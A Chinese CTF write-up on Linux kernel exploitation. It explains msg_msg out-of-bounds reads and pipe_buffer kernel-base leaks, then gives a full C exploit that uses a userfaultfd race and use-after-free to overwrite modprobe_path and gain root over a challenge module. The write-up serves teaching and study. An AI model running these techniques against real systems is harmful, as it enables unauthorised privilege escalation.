msg_msg
构造越界读&任意写的原语,同时借助pipe_buffer
完成内核地址泄露。msg
源码进行了浅要的剖析,有基础or对源码不感兴趣的读者可自行选择跳过。一
/include/linux/msg.h
中有关于msg_msg
结构体的定义:struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
list_head
为双向链表结构体,储存next
和prev
指针:struct list_head {
struct list_head *next, *prev;
};
ipc/msgutil.c
中有对msg_msgseg
的定义,还有申请msg_msg
结构体的函数:struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};
msg_msgseg
就是一个嵌套的结构体指针。int msgget(key_t key, int msgflag)
msg_queue
结构体当消息队列msg_msg
双向循环链表的起始节点。msgsnd
函数对消息队列进行写操作,需要该进程有写权限;同理msgrcv
需要有读权限。这是由msgget
函数中的第二个参数中的权限控制符所决定的。int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg)
Roland
师傅的图:(概括性的,若读者不想看我对源码的分析可以直接参考这个表)msg_msg
结构体。do_msgsnd
函数部分源码:定义了msg_queue
作为msg_msg
队列的链表头。
调用了load_msg
函数对msg
进行了初始化。
static long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
DEFINE_WAKE_Q(wake_q);ns = current->nsproxy->ipc_ns;
if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;msg = load_msg(mtext, msgsz);
...........
load_msg
函数:struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen))
goto out_err;for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}err = security_msg_msg_alloc(msg);
if (err)
goto out_err;return msg;
out_err:
free_msg(msg);
return ERR_PTR(err);
}
alloc_msg
函数分配空间,同时将用户数据拷贝到内核msg_msg
队列中。alloc_msg
函数:#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;msg->next = NULL;
msg->security = NULL;len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;cond_resched();
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}return msg;
out_err:
free_msg(msg);
return NULL;
}
msg_msg
结构体有储存自身信息的header
,大小为0x30。msg_msg
结构体只能申请最大为PAGE_SIZE
-header_size
(也就是0x1000-0x30)。length
大于DATALEN_MSG
,则会将剩下的内容储存在msg_msgseg
中,同理多余length
也不可超过DATALEN_SEG
,但是msg_msgseg
的header
没有msg_msg
那么复杂,只有一个next
指针,剩余数据全用来储存data
。length
超过DATALEN_SEG
,则继续分配msg_msgseg
结构体。msg_msg
和msg_msgseg
结构体最大size均不能超过page_size
:msg_msg
超过了会分配msg_msgseg
帮它分担。msg_msgseg
超过了会继续分配msg_msgseg
。msg_msg
消息会形成如下的单向链表结构:msg_msg
之间则是用list_head
来链接,形成的是以msg_queue
为首节点的双向循环链表结构,大致如下:msg_msg
的调用链:do_msgsnd-->load_msg-->alloc_msg
ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp,int msgflg)
Roland
师傅的图:(进行了一点小更正)msgrcv
系统调用能从消息队列上接受指定大小的消息,并且选择性(是否)释放msg_msg
结构体。/ipc/msg.c
的do_msgrcv
中。find_msg
定位static struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)
{
struct msg_msg *msg, *found = NULL;
long count = 0;list_for_each_entry(msg, &msq->q_messages, m_list)
{
if (testmsg(msg, *msgtyp, mode) &&
!security_msg_queue_msgrcv(&msq->q_perm, msg, current,
*msgtyp, mode))
{
if (mode == SEARCH_LESSEQUAL && msg->m_type != 1)
{
*msgtyp = msg->m_type - 1;
found = msg;
}
else if (mode == SEARCH_NUMBER)
{
if (*msgtyp == count)
return msg;
}
else
return msg;
count++;
}
}return found ?: ERR_PTR(-EAGAIN);
}
list_for_each_entry
。该宏定义可以理解为一个for
循环。msg_queue
为首节点的双向循环链表,也就是遍历了所有msg_msg
队列的头节点。testmsg
,根据mode
和传入的msgtyp
来筛选:static int testmsg(struct msg_msg *msg, long type, int mode)
{
switch (mode) {
case SEARCH_ANY:
case SEARCH_NUMBER:
return 1;
case SEARCH_LESSEQUAL:
if (msg->m_type <= type)
return 1;
break;
case SEARCH_EQUAL:
if (msg->m_type == type)
return 1;
break;
case SEARCH_NOTEQUAL:
if (msg->m_type != type)
return 1;
break;
}
return 0;
}
mode
由convert_mode
决定:static inline int convert_mode(long *msgtyp, int msgflg)
{
if (msgflg & MSG_COPY)
return SEARCH_NUMBER;
/*
* find message of correct type.
* msgtyp = 0 => get first.
* msgtyp > 0 => get first message of matching type.
* msgtyp < 0 => get message with least type must be < abs(msgtype).
*/
if (*msgtyp == 0)
return SEARCH_ANY;
if (*msgtyp < 0) {
if (*msgtyp == LONG_MIN) /* -LONG_MIN is undefined */
*msgtyp = LONG_MAX;
else
*msgtyp = -*msgtyp;
return SEARCH_LESSEQUAL;
}
if (msgflg & MSG_EXCEPT)
return SEARCH_NOTEQUAL;
return SEARCH_EQUAL;
}
msgtyp
来控制do_msg_rcv
拷贝/取得 哪条队列信息:MSG_COPY
位为1的时候,mode
为SEARCH-NUMBER
,在find_msg
中会返回msg_msg
双向循环链表中,第msgtyp
个msg_msg
,也就是返回第msgtyp
条消息,而不是上述表格中根据msgtyp
去和msg->m_type
进行匹配。/ipc/msg.c
中do_msgrcv
:static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
int mode;
struct msg_queue *msq;
struct ipc_namespace *ns;
struct msg_msg *msg, *copy = NULL;
...........
...........
list_del(&msg->m_list);
...........
...........
free_msg(msg);return bufsz;
list_del()
将其从msg_queue
的双向链表上 unlink,之后再调用free_msg()
释放msg_msg
单向链表上的所有消息。do_msg_rcv
函数最后,调用了msg_handler
,看参数像是进行内核-->用户的数据拷贝。bufsz = msg_handler(buf, msg, bufsz);
msg_handler
是do_msgrcv
传进来的参数,是一个函数指针,向上看调用do_msgrcv
的调用链:long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz,
long msgtyp, int msgflg)
{
return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}
msg_handler
具体函数指针为do_msg_fill
:static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)
{
struct msgbuf __user *msgp = dest;
size_t msgsz;if (put_user(msg->m_type, &msgp->mtype))
return -EFAULT;msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
if (store_msg(msgp->mtext, msg, msgsz))
return -EFAULT;
return msgsz;
}
store_msg
进行数据拷贝:int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
size_t alen;
struct msg_msgseg *seg;alen = min(len, DATALEN_MSG);
if (copy_to_user(dest, msg + 1, alen))
return -1;for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
dest = (char __user *)dest + alen;
alen = min(len, DATALEN_SEG);
if (copy_to_user(dest, seg + 1, alen))
return -1;
}
return 0;
}
msg_msg
结构内存申请相对应:若拷贝数据总长度小于DATALEN_MSG
,则直接拷贝后结束。
若拷贝数据总长度小于DATALEN_MSG
,则继续拷贝msg_msg
单向链表后面的msg_msgseg
结构体内容,直到拷贝结束。
seg->next
指针为NULLmsgsz
决定,而msgsz
:msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
bufsz
足够的情况下,拷贝数据总长度是由msg->m_ts
决定的。MSG_COPY
位MSG_COPY
标志,则不会在双向链表上unlink,只会进行copy操作,具体实现在do_msgrcv
中部分源码:MSG_COPY
标志,源码注释:If we are copying, then do not unlink message and do not update queue parameters.list_del()
去进行unlink
,并且最后free_msg()
释放的是我们在内核中copy出来的堆块。也就是说,我们可以通过设置MSG_COPY
多次读取一条消息。if (!IS_ERR(msg)) {
/*
* Found a suitable message.
* Unlink it from the queue.
*/
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);goto out_unlock0;
}
通过find_msg
定位一节已经讲过:MSG_COPY
位为1的时候,mode
为SEARCH-NUMBER
,在find_msg
中会返回msg_msg
双向循环链表中,第msgtyp
个msg_msg
,也就是返回第msgtyp
条消息,而不是上述表格中根据msgtyp
去和msg->m_type
进行匹配。MSG_COPY
位为1的时候,内核会调用prepare_copy
再申请一块内存出来。static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
{
struct msg_msg *copy;/*
* Create dummy message to copy real message to.
*/
copy = load_msg(buf, bufsz);
if (!IS_ERR(copy))
copy->m_ts = bufsz;
return copy;
do_msgrcv
的bufsz
。msg_msg
之间的拷贝则由copy_msg
负责,而在copy_msg
函数中有一段代码如下:if (src->m_ts > dst->m_ts)
return ERR_PTR(-EINVAL);
src->m_ts
大于目标dst->m_ts
,则会发生溢出,因此会直接返回不会拷贝。copy_msg
函数末尾还有赋值操作:dst->m_ts = src->m_ts
src->m_ts
<=dst->m_ts
即可。bufsz
>=src->m_ts
。msg_msg->m_ts
。msg_msg
,则可以读取该msg_msg
附近的数据(最多将近一页内存)。msg_msgseg
,则可以读取单向链表尾节点msg_msgseg
中附近的数据(最多将近一页内存)。msg_msg->m_ts
和msg_msg->m_list
中的next
指针。msg_msg
越界读,获得一些堆地址 or 内核地址。msg->queue
双向循环链表里只有一个节点:msg_msg
的越界读,有几率读到其他消息队列的msg_msg
的m_list
字段,而我们构造每条消息队列上只有一条消息。m_list
,即为msg_queue
的地址。泄露完之后,继续伪造msg_msg->next
字段可泄露整个该消息队列中每个结构体的地址。next
指针为NULL,不然在store_msg
进行数据拷贝的时候,是以NULL指针为结束判断条件,因此我们需要满足target->next==NULL
ortarget->next->next==NULL
,反正需要我们伪造的任意读链表存在一个NULL节点
,且中途不能到达不可读地址,否则会造成kernel panic。do_msgsnd
函数中调用了load_msg
进行用户到内核的数据拷贝,若我们利用userfault
机制暂停一个线程,再在另一个线程中篡改掉msg->next
指针,则可以实现任意地址写。arttnba3
师傅的模板:struct list_head {
uint64_t next;
uint64_t prev;
};struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};struct msg_msgseg {
uint64_t next;
};struct msgbuf {
long mtype;
char mtext[0];
};int getMsgQueue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}/**
* the msgp should be a pointer to the `struct msgbuf`,
* and the data should be stored in msgbuf.mtext
*/
int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}void buildMsg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,
uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}
二
pipe
族系统调用实现(而非open()
)。而这个文件不是真正的文件,向管道文件读写数据其实是在读写内核缓冲区。#include <unistd.h>
int pipe(int pipefd[2]);
open
,但需要close
释放。/include/linux/pipe_fs_i.h
中:struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_inode_info *alloc_pipe_info(void)
{
struct pipe_inode_info *pipe;
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
struct user_struct *user = get_current_user();
unsigned long user_bufs;
unsigned int max_size = READ_ONCE(pipe_max_size);pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
if (pipe == NULL)
goto out_free_uid;if (pipe_bufs * PAGE_SIZE > max_size && !capable(CAP_SYS_RESOURCE))
pipe_bufs = max_size >> PAGE_SHIFT;user_bufs = account_pipe_buffers(user, 0, pipe_bufs);
if (too_many_pipe_buffers_soft(user_bufs) && pipe_is_unprivileged_user()) {
user_bufs = account_pipe_buffers(user, pipe_bufs, PIPE_MIN_DEF_BUFFERS);
pipe_bufs = PIPE_MIN_DEF_BUFFERS;
}if (too_many_pipe_buffers_hard(user_bufs) && pipe_is_unprivileged_user())
goto out_revert_acct;pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);if (pipe->bufs) {
init_waitqueue_head(&pipe->rd_wait);
init_waitqueue_head(&pipe->wr_wait);
pipe->r_counter = pipe->w_counter = 1;
pipe->max_usage = pipe_bufs;
pipe->ring_size = pipe_bufs;
pipe->nr_accounted = pipe_bufs;
pipe->user = user;
mutex_init(&pipe->mutex);
return pipe;
}out_revert_acct:
(void) account_pipe_buffers(user, pipe_bufs, 0);
kfree(pipe);
out_free_uid:
free_uid(user);
return NULL;
}
pipe_inode_info
结构体,然后在其pipe_inode_info->buf
字段申请pipe_buffer
结构体:unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
PIPE_DEF_BUFFERS
=16;因此会申请0x10*0x30(size of pipe_buffer)的内存,也就是会从kmalloc-1k中取。struct pipe_buf_operations {
/*
* ->confirm() verifies that the data in the pipe buffer is there
* and that the contents are good. If the pages in the pipe belong
* to a file system, we may need to wait for IO completion in this
* hook. Returns 0 for good, or a negative error value in case of
* error. If not present all pages are considered good.
*/
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);/*
* When the contents of this pipe buffer has been completely
* consumed by a reader, ->release() is called.
*/
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);/*
* Attempt to take ownership of the pipe buffer and its contents.
* ->try_steal() returns %true for success, in which case the contents
* of the pipe (the buf->page) is locked and now completely owned by the
* caller. The page may then be transferred to a different mapping, the
* most often used case is insertion into different file address space
* cache.
*/
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);/*
* Get a reference to the pipe buffer.
*/
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
release
指针,在我们关闭一个管道的两端之后,管道会被释放,同样pipe_buffer
也会被释放。调用的是函数表中的release
指针。调用路径为:free_pipe_info->pipe_buf_release。
pipe_buffer
中的*pipe_buf_operations
成员能泄露内核基地址。pipe
系统调用后需要调用一次写管道才能对函数表进行初始化:static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
...
...
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
...
...
pipe_buffer->pipe_buf_operations->release
为某些栈迁移指针。将rsi
-->rsp
。三
KPTI
,SMAP
,SMEP
等正常保护。/ $ uname -a
Linux (none) 5.10.102 #2 SMP Sun Mar 27 17:29:07 CST 2022 x86_64 GNU/Linux
5.11
内核版本开始,就禁止非特权用户使用userfaultfd
了。所以这道题是userfaultfd
版本最后的荣光 (bushi。kernel_release
函数中存在指针未清零的情况:int __fastcall kernel_release(inode *inode, file *filp)
{
char **v2; // rax
int result; // eax_fentry__();
v2 = addrList;
do
*v2++ = 0LL;
while ( v2 != &addrList[32] );
kfree(buffer, filp);
result = 0;
flags = 0;
return result;
}
kernel_open
函数判断了flag
字段:void kernel_open()
{
__int64 v0; // rdi_fentry__();
if ( !flags )
{
v0 = kmalloc_caches[8];
flags = 1;
buffer = (char *)kmem_cache_alloc_trace(v0, 0xCC0LL, 0x100LL);
if ( buffer )
kernel_open_cold();
}
}
kernel_open
后利用kernel_release
的指针悬挂,来造成0x100 size的一个object的UAF。kernel_read
和kernel_write
,kernel_open
与kernel_release
均未加锁,且read
与write
中含有类似于如下的copy_to_user
操作:if ( copy_to_user(a2, v4, v5) )
return -2LL;
userfaultfd
卡住当前进程,在另外一个线程中调用kernel_release
。这样同样可以达到一个0x100 size的UAF。timerfd_ctx
结构体。arttnba3
师傅后得知:module
自身的open
,release
,read
,write
操作。add:两次add机会,size为0x400。
delete:两次delete。
edit:两次edit。
userfaultfd
在edit时将进程卡死,在另一个线程中free掉这个堆块后申请某些object到该地址上,实现0x400 size object的UAF(只能更改一次值)。pipe_buffer
。msg_msg->m_ts
,用带有MSG_COPY
位的msgrcv
进行越界读,泄露出pipe_buffer
上的函数表。pipe_buffer
提权,刚好满足0x400的size,因此我们利用UAF将pipe_buffer->pipe_buf_operations->release
函数指针更改为某个栈迁移gadget即可。push_rsi_pop_rsp = 0xffffffff81934056;//push rsi; pop rsp; retf;
retf
是按32位popeip
和cs
,的,而32位根本不足以储存一个内核地址。mov esp,esi
类型的gadget
,由于intel x86&x64
的调用约定,当对32位寄存器进行赋值操作的时候,会将高32位寄存器值清零,因此也不可用。CONFIG_STATIC_USERMODEHELPER
保护,因此笔者选择用UAF
劫持0x400 size的freelist
到modprobe_path
附近,更改modprobe_path
。msg_msg
结构体申请到modprobe_path
附近,由于size太大,会将modprobe_path
附近的所有内容全部清空。kernel panic
,因此我们需要恢复modprobe_path
附近的函数指针。kmod
的函数指针恢复是必要的:modprobe_path
是一个Linux程序,最初由Rusty Russell编写,用于在Linux内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块,因此modprobe
是安装某个内核模块,而kmod
是一个用于控制linux内核模块的程序,因此在后续调用中需要用到modprobe_path_hijack
更改flag权限后读取即可。#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <semaphore.h>#define CLOSE printf("\033[0m");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define real(a) a+kernel_base-0xffffffff81000000
#define PAGE_SIZE 0X1000
#define MSG_COPY 040000size_t fd;
size_t kernel_base;
size_t tmp_buf[0x500];
char *msg_buf;
size_t fake_ops_buf[0x100];int ms_qid[0x100];
int pipe_fd[0x20][2];sem_t sem_addmsg;
sem_t sem_editmsg;
sem_t edit_down;
sem_t edit_heap_next;
sem_t sem_edit_msg_for_modpath;struct list_head {
size_t next;
size_t prev;
};struct msg_msg {
struct list_head m_list;
size_t m_type;
size_t m_ts;
size_t next;
size_t security;
};struct msg_msgseg {
size_t next;
};// struct msgbuf {
// long mtype;
// char mtext[0];
// };int getMsgQueue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}/**
* the msgp should be a pointer to the `struct msgbuf`,
* and the data should be stored in msgbuf.mtext
*/
int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}void buildMsg(struct msg_msg *msg, size_t m_list_next, size_t m_list_prev,
size_t m_type, size_t m_ts, size_t next, size_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}typedef struct delete
{
size_t idx;
}delete_arg;typedef struct edit
{
size_t idx;
size_t size;
char *content;
}edit_arg;typedef struct add
{
size_t idx;
char *content;
}add_arg;void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}void add(char *content)
{
add_arg tmp=
{
.content = content,
};ioctl(fd,0x20,&tmp);
}void delete(size_t idx)
{
delete_arg tmp=
{
.idx=idx,
};ioctl(fd,0x30,&tmp);
}void edit(size_t idx,size_t size,char *content)
{
edit_arg tmp=
{
.idx=idx,
.size = size,
.content=content,
};ioctl(fd,0x50,&tmp);
}void leak(size_t *content,size_t size)
{
printf("[*]Leak: ");
for(int i=0;i<(int)(size/8);i++)
{
printf("%llx\n",content[i]);
}
}void RegisterUserfault(void *fault_page, void* handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
size_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
ErrExit("[-] ioctl-UFFDIO_REGISTER");
//开一个线程,接收错误的信号,然后处理
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}static char *page = NULL; // 你要拷贝进去的数据
static char *buf = NULL;
static char *buf2 = NULL;
static char *buf3 = NULL;
static long page_size;static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
puts("[+] sleep3 handler created");
int nready;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] sleep3 handler unblocked");sem_post(&sem_addmsg);
if (nready != 1)
{
ErrExit("[-] Wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
ErrExit("[-] msg err");
}
sem_wait(&sem_editmsg);char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
ErrExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
memset(tmp_buf, 0, 0x50);
tmp_buf[3] = 0xd00;
memcpy(page,tmp_buf,0x50);
// strcpy(page,"Lotus_just_Test");
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] sleep3 handler done");
return NULL;
}void UAF()
{
sem_wait(&sem_addmsg);
delete(0);
// RED puts("in"); CLOSE
int ret=0;
for (int i = 0; i < 0x1; i++)
{
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}for (int i = 0; i < 0x2; i++)
{
memset(msg_buf, 'A' + i, 0X400 - 8);
ret = msgsnd(ms_qid[0], msg_buf, 0x400 - 0x30, 0);
if (ret < 0)
{
puts("[x] msgsnd!");
return -1;
}
}
RED puts("[*] msg_msg spraying finish."); CLOSE
sem_post(&sem_editmsg);}
static void *
fault_handler_thread2(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
puts("[+] edit heap->next handler created");
int nready;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] edit heap->next handler unblocked");sem_post(&edit_heap_next);
if (nready != 1)
{
ErrExit("[-] Wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
ErrExit("[-] msg err");
}sem_wait(&edit_down);
char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
ErrExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
memcpy(page,fake_ops_buf,0x208);
// leak(page,0x208);
// strcpy(page,"Lotus_just_Test");
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);puts("[+] edit heap->next handler down!");
return NULL;
}void UAF2()
{
sem_wait(&edit_heap_next);
delete(0);
sem_post(&edit_down);
}void modprobe_path_hijack(void){
puts("[*] Returned to userland, setting up for fake modprobe");
system("echo '#!/bin/sh\nchmod 777 /flag\n' > /tmp/Lotus.sh");system("chmod +x /tmp/Lotus.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
// system("cat /proc/sys/kernel/modprobe");
puts("[*] Run unknown file");
system("/tmp/fake");
system("ls -al /flag");
system("cat /flag");RED puts("[*]Get shell!"); CLOSE
sleep(5);
}int main()
{pthread_t edit_t,edit2_t;
msg_buf = malloc(0x1000);
memset(msg_buf, 0, 0x1000);fd = open("/dev/kernelpwn",O_RDWR);
buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); //for edit msg->m_tsbuf2 = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);//for spray the msg_msg and edit msg->next
RegisterUserfault(buf,fault_handler_thread);
RegisterUserfault(buf2,fault_handler_thread2);sem_init(&sem_addmsg,0,0);
sem_init(&sem_editmsg,0,0);
sem_init(&edit_heap_next,0,0);
sem_init(&sem_edit_msg_for_modpath,0,0);
sem_init(&edit_down,0,0);add("TEST_chunk");
pthread_create(&edit_t,NULL,UAF,0);
pthread_create(&edit2_t,NULL,UAF2,0);edit(0,0x20,buf);
GREEN puts("[*]Write in!"); CLOSEfor (int i = 0; i < 1; i++)
{
if (pipe(pipe_fd[i]) < 0)
{
RED puts("failed to create pipe!"); CLOSE
}if (write(pipe_fd[i][1], "_Lotus_", 8) < 0)
{
RED puts("failed to write the pipe!"); CLOSE
}
}RED puts("[*] pipe_buffer spraying finish."); CLOSE
memset(tmp_buf, 0, 0x1000);
if(peekMsg(ms_qid[0],tmp_buf,0xe00,0)<0)
{
RED puts("[*]Leak error!"); CLOSE
}
// leak(tmp_buf,0xd00);
kernel_base = tmp_buf[0x7e8/8]-0x103ed80;
size_t pipe_addr = tmp_buf[0x3e0/8]+0xc00;
BLUE printf("[*]Kernel_base: 0x%llx\n",kernel_base); CLOSE
BLUE printf("[*]pipe_addr: 0x%llx\n",pipe_addr); CLOSEclose(pipe_fd[0][0]);
close(pipe_fd[0][1]);
// size_t push_rsi_pop_rsp = real(0xffffffff81934056);//push rsi; pop rsp; retf;
// size_t push_rsi_pop_rbp = real(0xffffffff81422d1f);//push rsi; pop rbp; ret;
// size_t call_rsi_leave_ret = real(0xffffffff81c0114d);//call rsi; nop; nop; nop; leave; ret;
size_t modprobe_path = real(0xffffffff82a6c000);
memset(fake_ops_buf, 0x61,0x800);fake_ops_buf[0x200/8] = modprobe_path-0xc0;
add("Lotus_chunk");
edit(0,0x208,buf2);
for (int i = 1; i < 0x3; i++)
{
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}size_t modprobe_path_buf[0x80];
memset(modprobe_path_buf,0,0x400);
int idx=0x34;
modprobe_path_buf[idx++]=real(0xffffffff82a6c108);
modprobe_path_buf[idx++]=real(0xffffffff82a6c108);
modprobe_path_buf[idx++]=0x32;modprobe_path_buf[0]=0xdeadbeef;
modprobe_path_buf[0x13]=0x746f4c2f706d742f;
modprobe_path_buf[0x14]=0x68732e7375;for (int i = 1; i < 0x3; i++)
{int ret = msgsnd(ms_qid[i], modprobe_path_buf, 0x400 - 0x30, 0);
if (ret < 0)
{
puts("[x] msgsnd!");
return -1;
}
}
RED puts("[*]edit modprobe_path success."); CLOSE
modprobe_path_hijack();}
gcc
编译的poc
文件过大,远程超时,因此我选择musl-gcc
进行编译。poc
